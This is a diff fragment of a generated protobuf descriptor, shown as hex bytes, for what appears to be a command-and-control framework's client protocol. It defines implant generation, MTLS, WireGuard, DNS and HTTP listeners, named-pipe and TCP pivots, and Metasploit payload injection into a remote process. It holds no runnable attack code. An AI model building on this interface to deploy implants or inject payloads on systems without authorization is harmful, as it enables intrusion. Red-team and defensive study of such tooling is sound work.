0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, + 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, + 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, + 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, + 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, + 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x59, 0x0a, 0x0f, 0x4d, 0x54, + 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, - 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, - 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x22, 0x3e, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, - 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, - 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, - 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, - 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, - 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, - 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, - 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, - 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, - 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, - 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, - 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, - 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, - 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x9d, 0x01, 0x0a, 0x0d, + 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, + 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, + 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57, + 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, + 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, + 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, + 0x61, 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, + 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, + 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, + 0x65, 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, + 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, + 0x4f, 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, + 0x63, 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, + 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, + 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, + 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, + 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, + 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, + 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, + 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, + 0x0d, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, + 0x0a, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, + 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, + 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, + 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, + 0x12, 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, + 0x76, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, + 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, + 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x24, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, + 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x3e, 0x0a, 0x0b, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x2e, 0x0a, 0x08, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, + 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, + 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, + 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, + 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 